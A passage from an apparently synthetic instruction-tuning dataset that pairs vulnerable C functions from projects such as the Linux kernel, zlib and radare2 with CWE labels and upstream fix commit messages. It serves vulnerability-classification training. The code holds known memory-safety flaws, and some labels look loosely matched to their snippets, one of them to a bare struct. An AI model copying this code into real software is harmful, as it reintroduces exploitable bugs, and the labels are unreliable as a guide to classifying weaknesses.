depth+1);\n\telse\n\t\tret = find_block_dqentry(info, dquot, blk);\nout_buf:\n\tkfree(buf);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'quota: check block number when reading the block in quota file\n\nThe block number in the quota tree on disk should be smaller than the\nv2_disk_dqinfo.dqi_blocks. If the quota file was corrupted, we may be\nallocating an 'allocated' block and that would lead to a loop in a tree,\nwhich will probably trigger oops later. This patch adds a check for the\nblock number in the quota tree to prevent such potential issue.\n\nLink: https://lore.kernel.org/r/20211008093821.1001186-2-yi.zhang@huawei.com\nSigned-off-by: Zhang Yi \nCc: stable@kernel.org\nSigned-off-by: Jan Kara '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: local block_state deflate_slow(s, flush)\n deflate_state *s;\n int flush;\n{\n IPos hash_head; /* head of hash chain */\n int bflush; /* set if current block must be flushed */\n\n /* Process the input block. */\n for (;;) {\n /* Make sure that we always have enough lookahead, except\n * at the end of the input file. We need MAX_MATCH bytes\n * for the next match, plus MIN_MATCH bytes to insert the\n * string following the next match.\n */\n if (s->lookahead < MIN_LOOKAHEAD) {\n fill_window(s);\n if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) {\n return need_more;\n }\n if (s->lookahead == 0) break; /* flush the current block */\n }\n\n /* Insert the string window[strstart .. strstart+2] in the\n * dictionary, and set hash_head to the head of the hash chain:\n */\n hash_head = NIL;\n if (s->lookahead >= MIN_MATCH) {\n INSERT_STRING(s, s->strstart, hash_head);\n }\n\n /* Find the longest match, discarding those <= prev_length.\n */\n s->prev_length = s->match_length, s->prev_match = s->match_start;\n s->match_length = MIN_MATCH-1;\n\n if (hash_head != NIL && s->prev_length < s->max_lazy_match &&\n s->strstart - hash_head <= MAX_DIST(s)) {\n /* To simplify the code, we prevent matches with the string\n * of window index 0 (in particular we have to avoid a match\n * of the string with itself at the start of the input file).\n */\n s->match_length = longest_match (s, hash_head);\n /* longest_match() sets match_start */\n\n if (s->match_length <= 5 && (s->strategy == Z_FILTERED\n#if TOO_FAR <= 32767\n || (s->match_length == MIN_MATCH &&\n s->strstart - s->match_start > TOO_FAR)\n#endif\n )) {\n\n /* If prev_match is also MIN_MATCH, match_start is garbage\n * but we will ignore the current match anyway.\n */\n s->match_length = MIN_MATCH-1;\n }\n }\n /* If there was a match at the previous step and the current\n * match is not better, output the previous match:\n */\n if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) {\n uInt max_insert = s->strstart + s->lookahead - MIN_MATCH;\n /* Do not insert strings in hash table beyond this. */\n\n check_match(s, s->strstart-1, s->prev_match, s->prev_length);\n\n _tr_tally_dist(s, s->strstart -1 - s->prev_match,\n s->prev_length - MIN_MATCH, bflush);\n\n /* Insert in hash table all strings up to the end of the match.\n * strstart-1 and strstart are already inserted. If there is not\n * enough lookahead, the last two strings are not inserted in\n * the hash table.\n */\n s->lookahead -= s->prev_length-1;\n s->prev_length -= 2;\n do {\n if (++s->strstart <= max_insert) {\n INSERT_STRING(s, s->strstart, hash_head);\n }\n } while (--s->prev_length != 0);\n s->match_available = 0;\n s->match_length = MIN_MATCH-1;\n s->strstart++;\n\n if (bflush) FLUSH_BLOCK(s, 0);\n\n } else if (s->match_available) {\n /* If there was no match at the previous position, output a\n * single literal. If there was a match but the current match\n * is longer, truncate the previous match to a single literal.\n */\n Tracevv((stderr,\"%c\", s->window[s->strstart-1]));\n _tr_tally_lit(s, s->window[s->strstart-1], bflush);\n if (bflush) {\n FLUSH_BLOCK_ONLY(s, 0);\n }\n s->strstart++;\n s->lookahead--;\n if (s->strm->avail_out == 0) return need_more;\n } else {\n /* There is no previous match to compare with, wait for\n * the next step to decide.\n */\n s->match_available = 1;\n s->strstart++;\n s->lookahead--;\n }\n }\n Assert (flush != Z_NO_FLUSH, \"no flush?\");\n if (s->match_available) {\n Tracevv((stderr,\"%c\", s->window[s->strstart-1]));\n _tr_tally_lit(s, s->window[s->strstart-1], bflush);\n s->match_available = 0;\n }\n s->insert = s->strstart < MIN_MATCH-1 ? s->strstart : MIN_MATCH-1;\n if (flush == Z_FINISH) {\n FLUSH_BLOCK(s, 1);\n return finish_done;\n }\n if (s->last_lit)\n FLUSH_BLOCK(s, 0);\n return block_done;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284', 'CWE-787'], 'message': 'Fix a bug that can crash deflate on some input when using Z_FIXED.\n\nThis bug was reported by Danilo Ramos of Eideticom, Inc. It has\nlain in wait 13 years before being found! The bug was introduced\nin zlib 1.2.2.2, with the addition of the Z_FIXED option. That\noption forces the use of fixed Huffman codes. For rare inputs with\na large number of distant matches, the pending buffer into which\nthe compressed data is written can overwrite the distance symbol\ntable which it overlays. That results in corrupted output due to\ninvalid distances, and can result in out-of-bound accesses,\ncrashing the application.\n\nThe fix here combines the distance buffer and literal/length\nbuffers into a single symbol buffer. Now three bytes of pending\nbuffer space are opened up for each literal or length/distance\npair consumed, instead of the previous two bytes. This assures\nthat the pending buffer cannot overwrite the symbol table, since\nthe maximum fixed code compressed length/distance is 31 bits, and\nsince there are four bytes of pending space for every three bytes\nof symbol space.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct MACH0_(obj_t) {\n\tstruct MACH0_(mach_header) hdr;\n\tstruct MACH0_(segment_command) *segs;\n\tchar *intrp;\n\tchar *compiler;\n\tint nsegs;\n\tstruct r_dyld_chained_starts_in_segment **chained_starts;\n\tstruct dyld_chained_fixups_header fixups_header;\n\tut64 fixups_offset;\n\tut64 fixups_size;\n\tstruct MACH0_(section) *sects;\n\tint nsects;\n\tstruct MACH0_(nlist) *symtab;\n\tut8 *symstr;\n\tut8 *func_start; //buffer that hold the data from LC_FUNCTION_STARTS\n\tint symstrlen;\n\tint nsymtab;\n\tut32 *indirectsyms;\n\tint nindirectsyms;\n\n\tRBinImport **imports_by_ord;\n\tsize_t imports_by_ord_size;\n\tHtPP *imports_by_name;\n\n\tstruct dysymtab_command dysymtab;\n\tstruct load_command main_cmd;\n\tstruct dyld_info_command *dyld_info;\n\tstruct dylib_table_of_contents *toc;\n\tint ntoc;\n\tstruct MACH0_(dylib_module) *modtab;\n\tint nmodtab;\n\tstruct thread_command thread;\n\tut8 *signature;\n\tunion {\n\t\tstruct x86_thread_state32 x86_32;\n\t\tstruct x86_thread_state64 x86_64;\n\t\tstruct ppc_thread_state32 ppc_32;\n\t\tstruct ppc_thread_state64 ppc_64;\n\t\tstruct arm_thread_state32 arm_32;\n\t\tstruct arm_thread_state64 arm_64;\n\t} thread_state;\n\tchar (*libs)[R_BIN_MACH0_STRING_LENGTH];\n\tint nlibs;\n\tint size;\n\tut64 baddr;\n\tut64 entry;\n\tbool big_endian;\n\tconst char *file;\n\tRBuffer *b;\n\tint os;\n\tSdb *kv;\n\tint has_crypto;\n\tint has_canary;\n\tint has_retguard;\n\tint has_sanitizers;\n\tint has_blocks_ext;\n\tint dbg_info;\n\tconst char *lang;\n\tint uuidn;\n\tint func_size;\n\tbool verbose;\n\tut64 header_at;\n\tut64 symbols_off;\n\tvoid *user;\n\tut64 (*va2pa)(ut64 p, ut32 *offset, ut32 *left, RBinFile *bf);\n\tstruct symbol_t *symbols;\n\tut64 main_addr;\n\tint (*original_io_read)(RIO *io, RIODesc *fd, ut8 *buf, int count);\n\tbool rebasing_buffer;\n}; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'Fix heap OOB read in macho.iterate_chained_fixups ##crash\n\n* Reported by peacock-doris via huntr.dev\r\n* Reproducer 'tests_65305'\r\n\r\nmrmacete:\r\n* Return early if segs_count is 0\r\n* Initialize segs_count also for reconstructed fixups\r\n\r\nCo-authored-by: pancake \r\nCo-authored-by: Francesco Tamagni '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int stimer_set_config(struct kvm_vcpu_hv_stimer *stimer, u64 config,\n\t\t\t bool host)\n{\n\tunion hv_stimer_config new_config = {.as_uint64 = config},\n\t\told_config = {.as_uint64 = stimer->config.as_uint64};\n\tstruct kvm_vcpu *vcpu = hv_stimer_to_vcpu(stimer);\n\tstruct kvm_vcpu_hv *hv_vcpu = to_hv_vcpu(vcpu);\n\tstruct kvm_vcpu_hv_synic *synic = to_hv_synic(vcpu);\n\n\tif (!synic->active && !host)\n\t\treturn 1;\n\n\tif (unlikely(!host && hv_vcpu->enforce_cpuid && new_config.direct_mode &&\n\t\t !(hv_vcpu->cpuid_cache.features_edx &\n\t\t HV_STIMER_DIRECT_MODE_AVAILABLE)))\n\t\treturn 1;\n\n\ttrace_kvm_hv_stimer_set_config(hv_stimer_to_vcpu(stimer)->vcpu_id,\n\t\t\t\t stimer->index, config, host);\n\n\tstimer_cleanup(stimer);\n\tif (old_config.enable &&\n\t !new_config.direct_mode && new_config.sintx == 0)\n\t\tnew_config.enable = 0;\n\tstimer->config.as_uint64 = new_config.as_uint64;\n\n\tif (stimer->config.enable)\n\t\tstimer_mark_pending(stimer, false);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'KVM: x86: Forbid VMM to set SYNIC/STIMER MSRs when SynIC wasn't activated\n\nSetting non-zero values to SYNIC/STIMER MSRs activates certain features,\nthis should not happen when KVM_CAP_HYPERV_SYNIC{,2} was not activated.\n\nNote, it would've been better to forbid writing anything to SYNIC/STIMER\nMSRs, including zeroes, however, at least QEMU tries clearing\nHV_X64_MSR_STIMER0_CONFIG without SynIC. HV_X64_MSR_EOM MSR is somewhat\n'special' as writing zero there triggers an action, this also should not\nhappen when SynIC wasn't activated.\n\nSigned-off-by: Vitaly Kuznetsov \nMessage-Id: <20220325132140.25650-4-vkuznets@redhat.com>\nCc: stable@vger.kernel.org\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void ax25_kill_by_device(struct net_device *dev)\n{\n\tax25_dev *ax25_dev;\n\tax25_cb *s;\n\tstruct sock *sk;\n\n\tif ((ax25_dev = ax25_dev_ax25dev(dev)) == NULL)\n\t\treturn;\n\n\tspin_lock_bh(&ax25_list_lock);\nagain:\n\tax25_for_each(s, &ax25_list) {\n\t\tif (s->ax25_dev == ax25_dev) {\n\t\t\tsk = s->sk;\n\t\t\tsock_hold(sk);\n\t\t\tspin_unlock_bh(&ax25_list_lock);\n\t\t\tlock_sock(sk);\n\t\t\ts->ax25_dev = NULL;\n\t\t\tdev_put_track(ax25_dev->dev, &ax25_dev->dev_tracker);\n\t\t\tax25_dev_put(ax25_dev);\n\t\t\tax25_disconnect(s, ENETUNREACH);\n\t\t\trelease_sock(sk);\n\t\t\tspin_lock_bh(&ax25_list_lock);\n\t\t\tsock_put(sk);\n\t\t\t/* The entry could have been deleted from the\n\t\t\t * list meanwhile and thus the next pointer is\n\t\t\t * no longer valid. Play it safe and restart\n\t\t\t * the scan. Forward progress is ensured\n\t\t\t * because we set s->ax25_dev to NULL and we\n\t\t\t * are never passed a NULL 'dev' argument.\n\t\t\t */\n\t\t\tgoto again;\n\t\t}\n\t}\n\tspin_unlock_bh(&ax25_list_lock);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'ax25: Fix NULL pointer dereference in ax25_kill_by_device\n\nWhen two ax25 devices attempted to establish connection, the requester use ax25_create(),\nax25_bind() and ax25_connect() to initiate connection. The receiver use ax25_rcv() to\naccept connection and use ax25_create_cb() in ax25_rcv() to create ax25_cb, but the\nax25_cb->sk is NULL. When the receiver is detaching, a NULL pointer dereference bug\ncaused by sock_hold(sk) in ax25_kill_by_device() will happen. The corresponding\nfail log is shown below:\n\n===============================================================\nBUG: KASAN: null-ptr-deref in ax25_device_event+0xfd/0x290\nCall Trace:\n...\nax25_device_event+0xfd/0x290\nraw_notifier_call_chain+0x5e/0x70\ndev_close_many+0x174/0x220\nunregister_netdevice_many+0x1f7/0xa60\nunregister_netdevice_queue+0x12f/0x170\nunregister_netdev+0x13/0x20\nmkiss_close+0xcd/0x140\ntty_ldisc_release+0xc0/0x220\ntty_release_struct+0x17/0xa0\ntty_release+0x62d/0x670\n...\n\nThis patch add condition check in ax25_kill_by_device(). If s->sk is\nNULL, it will goto if branch to kill device.\n\nFixes: 4e0f718daf97 (\"ax25: improve the incomplete fix to avoid UAF and NPD bugs\")\nReported-by: Thomas Osterried \nSigned-off-by: Duoming Zhou \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void ax25_kill_by_device(struct net_device *dev)\n{\n\tax25_dev *ax25_dev;\n\tax25_cb *s;\n\tstruct sock *sk;\n\n\tif ((ax25_dev = ax25_dev_ax25dev(dev)) == NULL)\n\t\treturn;\n\n\tspin_lock_bh(&ax25_list_lock);\nagain:\n\tax25_for_each(s, &ax25_list) {\n\t\tif (s->ax25_dev == ax25_dev) {\n\t\t\tsk = s->sk;\n\t\t\tsock_hold(sk);\n\t\t\tspin_unlock_bh(&ax25_list_lock);\n\t\t\tlock_sock(sk);\n\t\t\ts->ax25_dev = NULL;\n\t\t\trelease_sock(sk);\n\t\t\tax25_disconnect(s, ENETUNREACH);\n\t\t\tspin_lock_bh(&ax25_list_lock);\n\t\t\tsock_put(sk);\n\t\t\t/* The entry could have been deleted from the\n\t\t\t * list meanwhile and thus the next pointer is\n\t\t\t * no longer valid. Play it safe and restart\n\t\t\t * the scan. Forward progress is ensured\n\t\t\t * because we set s->ax25_dev to NULL and we\n\t\t\t * are never passed a NULL 'dev' argument.\n\t\t\t */\n\t\t\tgoto again;\n\t\t}\n\t}\n\tspin_unlock_bh(&ax25_list_lock);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ax25: add refcount in ax25_dev to avoid UAF bugs\n\nIf we dereference ax25_dev after we call kfree(ax25_dev) in\nax25_dev_device_down(), it will lead to concurrency UAF bugs.\nThere are eight syscall functions suffer from UAF bugs, include\nax25_bind(), ax25_release(), ax25_connect(), ax25_ioctl(),\nax25_getname(), ax25_sendmsg(), ax25_getsockopt() and\nax25_info_show().\n\nOne of the concurrency UAF can be shown as below:\n\n (USE) | (FREE)\n | ax25_device_event\n | ax25_dev_device_down\nax25_bind | ...\n ... | kfree(ax25_dev)\n ax25_fillin_cb() | ...\n ax25_fillin_cb_from_dev() |\n ... |\n\nThe root cause of UAF bugs is that kfree(ax25_dev) in\nax25_dev_device_down() is not protected by any locks.\nWhen ax25_dev, which there are still pointers point to,\nis released, the concurrency UAF bug will happen.\n\nThis patch introduces refcount into ax25_dev in order to\nguarantee that there are no pointers point to it when ax25_dev\nis released.\n\nSigned-off-by: Duoming Zhou \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ax25_fwd_ioctl(unsigned int cmd, struct ax25_fwd_struct *fwd)\n{\n\tax25_dev *ax25_dev, *fwd_dev;\n\n\tif ((ax25_dev = ax25_addr_ax25dev(&fwd->port_from)) == NULL)\n\t\treturn -EINVAL;\n\n\tswitch (cmd) {\n\tcase SIOCAX25ADDFWD:\n\t\tif ((fwd_dev = ax25_addr_ax25dev(&fwd->port_to)) == NULL)\n\t\t\treturn -EINVAL;\n\t\tif (ax25_dev->forward != NULL)\n\t\t\treturn -EINVAL;\n\t\tax25_dev->forward = fwd_dev->dev;\n\t\tax25_dev_put(fwd_dev);\n\t\tbreak;\n\n\tcase SIOCAX25DELFWD:\n\t\tif (ax25_dev->forward == NULL)\n\t\t\treturn -EINVAL;\n\t\tax25_dev->forward = NULL;\n\t\tbreak;\n\n\tdefault:\n\t\treturn -EINVAL;\n\t}\n\n\tax25_dev_put(ax25_dev);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ax25: fix reference count leaks of ax25_dev\n\nThe previous commit d01ffb9eee4a (\"ax25: add refcount in ax25_dev\nto avoid UAF bugs\") introduces refcount into ax25_dev, but there\nare reference leak paths in ax25_ctl_ioctl(), ax25_fwd_ioctl(),\nax25_rt_add(), ax25_rt_del() and ax25_rt_opt().\n\nThis patch uses ax25_dev_put() and adjusts the position of\nax25_addr_ax25dev() to fix reference cout leaks of ax25_dev.\n\nFixes: d01ffb9eee4a (\"ax25: add refcount in ax25_dev to avoid UAF bugs\")\nSigned-off-by: Duoming Zhou \nReviewed-by: Dan Carpenter \nLink: https://lore.kernel.org/r/20220203150811.42256-1-duoming@zju.edu.cn\nSigned-off-by: Jakub Kicinski '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static netdev_tx_t ems_usb_start_xmit(struct sk_buff *skb, struct net_device *netdev)\n{\n\tstruct ems_usb *dev = netdev_priv(netdev);\n\tstruct ems_tx_urb_context *context = NULL;\n\tstruct net_device_stats *stats = &netdev->stats;\n\tstruct can_frame *cf = (struct can_frame *)skb->data;\n\tstruct ems_cpc_msg *msg;\n\tstruct urb *urb;\n\tu8 *buf;\n\tint i, err;\n\tsize_t size = CPC_HEADER_SIZE + CPC_MSG_HEADER_LEN\n\t\t\t+ sizeof(struct cpc_can_msg);\n\n\tif (can_dropped_invalid_skb(netdev, skb))\n\t\treturn NETDEV_TX_OK;\n\n\t/* create a URB, and a buffer for it, and copy the data to the URB */\n\turb = usb_alloc_urb(0, GFP_ATOMIC);\n\tif (!urb)\n\t\tgoto nomem;\n\n\tbuf = usb_alloc_coherent(dev->udev, size, GFP_ATOMIC, &urb->transfer_dma);\n\tif (!buf) {\n\t\tnetdev_err(netdev, \"No memory left for USB buffer\\n\");\n\t\tusb_free_urb(urb);\n\t\tgoto nomem;\n\t}\n\n\tmsg = (struct ems_cpc_msg *)&buf[CPC_HEADER_SIZE];\n\n\tmsg->msg.can_msg.id = cpu_to_le32(cf->can_id & CAN_ERR_MASK);\n\tmsg->msg.can_msg.length = cf->len;\n\n\tif (cf->can_id & CAN_RTR_FLAG) {\n\t\tmsg->type = cf->can_id & CAN_EFF_FLAG ?\n\t\t\tCPC_CMD_TYPE_EXT_RTR_FRAME : CPC_CMD_TYPE_RTR_FRAME;\n\n\t\tmsg->length = CPC_CAN_MSG_MIN_SIZE;\n\t} else {\n\t\tmsg->type = cf->can_id & CAN_EFF_FLAG ?\n\t\t\tCPC_CMD_TYPE_EXT_CAN_FRAME : CPC_CMD_TYPE_CAN_FRAME;\n\n\t\tfor (i = 0; i < cf->len; i++)\n\t\t\tmsg->msg.can_msg.msg[i] = cf->data[i];\n\n\t\tmsg->length = CPC_CAN_MSG_MIN_SIZE + cf->len;\n\t}\n\n\tfor (i = 0; i < MAX_TX_URBS; i++) {\n\t\tif (dev->tx_contexts[i].echo_index == MAX_TX_URBS) {\n\t\t\tcontext = &dev->tx_contexts[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t/*\n\t * May never happen! When this happens we'd more URBs in flight as\n\t * allowed (MAX_TX_URBS).\n\t */\n\tif (!context) {\n\t\tusb_free_coherent(dev->udev, size, buf, urb->transfer_dma);\n\t\tusb_free_urb(urb);\n\n\t\tnetdev_warn(netdev, \"couldn't find free context\\n\");\n\n\t\treturn NETDEV_TX_BUSY;\n\t}\n\n\tcontext->dev = dev;\n\tcontext->echo_index = i;\n\n\tusb_fill_bulk_urb(urb, dev->udev, usb_sndbulkpipe(dev->udev, 2), buf,\n\t\t\t size, ems_usb_write_bulk_callback, context);\n\turb->transfer_flags |= URB_NO_TRANSFER_DMA_MAP;\n\tusb_anchor_urb(urb, &dev->tx_submitted);\n\n\tcan_put_echo_skb(skb, netdev, context->echo_index, 0);\n\n\tatomic_inc(&dev->active_tx_urbs);\n\n\terr = usb_submit_urb(urb, GFP_ATOMIC);\n\tif (unlikely(err)) {\n\t\tcan_free_echo_skb(netdev, context->echo_index, NULL);\n\n\t\tusb_unanchor_urb(urb);\n\t\tusb_free_coherent(dev->udev, size, buf, urb->transfer_dma);\n\t\tdev_kfree_skb(skb);\n\n\t\tatomic_dec(&dev->active_tx_urbs);\n\n\t\tif (err == -ENODEV) {\n\t\t\tnetif_device_detach(netdev);\n\t\t} else {\n\t\t\tnetdev_warn(netdev, \"failed tx_urb %d\\n\", err);\n\n\t\t\tstats->tx_dropped++;\n\t\t}\n\t} else {\n\t\tnetif_trans_update(netdev);\n\n\t\t/* Slow down tx path */\n\t\tif (atomic_read(&dev->active_tx_urbs) >= MAX_TX_URBS ||\n\t\t dev->free_slots < CPC_TX_QUEUE_TRIGGER_LOW) {\n\t\t\tnetif_stop_queue(netdev);\n\t\t}\n\t}\n\n\t/*\n\t * Release our reference to this URB, the USB core will eventually free\n\t * it entirely.\n\t */\n\tusb_free_urb(urb);\n\n\treturn NETDEV_TX_OK;\n\nnomem:\n\tdev_kfree_skb(skb);\n\tstats->tx_dropped++;\n\n\treturn NETDEV_TX_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'can: ems_usb: ems_usb_start_xmit(): fix double dev_kfree_skb() in error path\n\nThere is no need to call dev_kfree_skb() when usb_submit_urb() fails\nbeacause can_put_echo_skb() deletes the original skb and\ncan_free_echo_skb() deletes the cloned skb.\n\nLink: https://lore.kernel.org/all/20220228083639.38183-1-hbh25y@gmail.com\nFixes: 702171adeed3 (\"ems_usb: Added support for EMS CPC-USB/ARM7 CAN/USB interface\")\nCc: stable@vger.kernel.org\nCc: Sebastian Haas \nSigned-off-by: Hangyu Hua \nSigned-off-by: Marc Kleine-Budde '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: RList *r_bin_ne_get_relocs(r_bin_ne_obj_t *bin) {\n\tRList *segments = bin->segments;\n\tif (!segments) {\n\t\treturn NULL;\n\t}\n\tRList *entries = bin->entries;\n\tif (!entries) {\n\t\treturn NULL;\n\t}\n\tRList *symbols = bin->symbols;\n\tif (!symbols) {\n\t\treturn NULL;\n\t}\n\n\tut16 *modref = malloc (bin->ne_header->ModRefs * sizeof (ut16));\n\tif (!modref) {\n\t\treturn NULL;\n\t}\n\tr_buf_read_at (bin->buf, (ut64)bin->ne_header->ModRefTable + bin->header_offset, (ut8 *)modref, bin->ne_header->ModRefs * sizeof (ut16));\n\n\tRList *relocs = r_list_newf (free);\n\tif (!relocs) {\n\t\tfree (modref);\n\t\treturn NULL;\n\t}\n\n\tRListIter *it;\n\tRBinSection *seg;\n\tint index = -1;\n\tr_list_foreach (segments, it, seg) {\n\t\tindex++;\n\t\tif (!(bin->segment_entries[index].flags & RELOCINFO)) {\n\t\t\tcontinue;\n\t\t}\n\t\tut32 off, start = off = seg->paddr + seg->size;\n\t\tut16 length = r_buf_read_le16_at (bin->buf, off);\n\t\tif (!length) {\n\t\t\tcontinue;\n\t\t}\n\t\toff += 2;\n\t\twhile (off < start + length * sizeof (NE_image_reloc_item)) {\n\t\t\tRBinReloc *reloc = R_NEW0 (RBinReloc);\n\t\t\tif (!reloc) {\n\t\t\t\treturn NULL;\n\t\t\t}\n\t\t\tNE_image_reloc_item rel;\n\t\t\tr_buf_read_at (bin->buf, off, (ut8 *)&rel, sizeof (rel));\n\t\t\treloc->paddr = seg->paddr + rel.offset;\n\t\t\tswitch (rel.type) {\n\t\t\tcase LOBYTE:\n\t\t\t\treloc->type = R_BIN_RELOC_8;\n\t\t\t\tbreak;\n\t\t\tcase SEL_16:\n\t\t\tcase OFF_16:\n\t\t\t\treloc->type = R_BIN_RELOC_16;\n\t\t\t\tbreak;\n\t\t\tcase POI_32:\n\t\t\tcase OFF_32:\n\t\t\t\treloc->type = R_BIN_RELOC_32;\n\t\t\t\tbreak;\n\t\t\tcase POI_48:\n\t\t\t\treloc->type = R_BIN_RELOC_64;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\tut32 offset;\n\t\t\tif (rel.flags & (IMPORTED_ORD | IMPORTED_NAME)) {\n\t\t\t\tRBinImport *imp = R_NEW0 (RBinImport);\n\t\t\t\tif (!imp) {\n\t\t\t\t\tfree (reloc);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tchar *name;\n\t\t\t\tif (rel.index > bin->ne_header->ModRefs) {\n\t\t\t\t\tname = r_str_newf (\"UnknownModule%d_%x\", rel.index, off); // ????\n\t\t\t\t} else {\n\t\t\t\t\toffset = modref[rel.index - 1] + bin->header_offset + bin->ne_header->ImportNameTable;\n\t\t\t\t\tname = __read_nonnull_str_at (bin->buf, offset);\n\t\t\t\t}\n\t\t\t\tif (rel.flags & IMPORTED_ORD) {\n\t\t\t\t\timp->ordinal = rel.func_ord;\n\t\t\t\t\timp->name = r_str_newf (\"%s.%s\", name, __func_name_from_ord(name, rel.func_ord));\n\t\t\t\t} else {\n\t\t\t\t\toffset = bin->header_offset + bin->ne_header->ImportNameTable + rel.name_off;\n\t\t\t\t\tchar *func = __read_nonnull_str_at (bin->buf, offset);\n\t\t\t\t\timp->name = r_str_newf (\"%s.%s\", name, func);\n\t\t\t\t\tfree (func);\n\t\t\t\t}\n\t\t\t\tfree (name);\n\t\t\t\treloc->import = imp;\n\t\t\t} else if (rel.flags & OSFIXUP) {\n\t\t\t\t// TODO\n\t\t\t} else {\n\t\t\t\tif (strstr (seg->name, \"FIXED\")) {\n\t\t\t\t\tRBinSection *s = r_list_get_n (segments, rel.segnum - 1);\n\t\t\t\t\tif (s) {\n\t\t\t\t\t\toffset = s->paddr + rel.segoff;\n\t\t\t\t\t} else {\n\t\t\t\t\t\toffset = -1;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tRBinAddr *entry = r_list_get_n (entries, rel.entry_ordinal - 1);\n\t\t\t\t\tif (entry) {\n\t\t\t\t\t\toffset = entry->paddr;\n\t\t\t\t\t} else {\n\t\t\t\t\t\toffset = -1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treloc->addend = offset;\n\t\t\t\tRBinSymbol *sym = NULL;\n\t\t\t\tRListIter *sit;\n\t\t\t\tr_list_foreach (symbols, sit, sym) {\n\t\t\t\t\tif (sym->paddr == reloc->addend) {\n\t\t\t\t\t\treloc->symbol = sym;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (rel.flags & ADDITIVE) {\n\t\t\t\treloc->additive = 1;\n\t\t\t\tr_list_append (relocs, reloc);\n\t\t\t} else {\n\t\t\t\tdo {\n\t\t\t\t\tr_list_append (relocs, reloc);\n\t\t\t\t\t\n\t\t\t\t\toffset = r_buf_read_le16_at (bin->buf, reloc->paddr);\n\t\t\t\t\tRBinReloc *tmp = reloc;\n\t\t\t\t\treloc = R_NEW0 (RBinReloc);\n\t\t\t\t\tif (!reloc) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t*reloc = *tmp;\n\t\t\t\t\treloc->paddr = seg->paddr + offset;\n\t\t\t\t} while (offset != 0xFFFF);\n\t\t\t\tfree (reloc);\n\t\t\t}\n\n\t\t\toff += sizeof (NE_image_reloc_item);\n\t\t}\n\t}\n\tfree (modref);\n\treturn relocs;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-129'], 'message': 'Fix oobread segfaults in the NE bin parser ##crash\n\n* Reported by @han0nly via huntr.dev\n* Reproducers: seed1 seed2\n* BountyID: ad3c9c4c-76e7-40c8-bd4a-c095acd8bb40'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: CImg& _load_pandore(std::FILE *const file, const char *const filename) {\n#define __cimg_load_pandore_case(nbdim,nwidth,nheight,ndepth,ndim,stype) \\\n cimg::fread(dims,nbdim,nfile); \\\n if (endian) cimg::invert_endianness(dims,nbdim); \\\n assign(nwidth,nheight,ndepth,ndim); \\\n const size_t siz = size(); \\\n stype *buffer = new stype[siz]; \\\n cimg::fread(buffer,siz,nfile); \\\n if (endian) cimg::invert_endianness(buffer,siz); \\\n T *ptrd = _data; \\\n cimg_foroff(*this,off) *(ptrd++) = (T)*(buffer++); \\\n buffer-=siz; \\\n delete[] buffer\n\n#define _cimg_load_pandore_case(nbdim,nwidth,nheight,ndepth,dim,stype1,stype2,stype3,ltype) 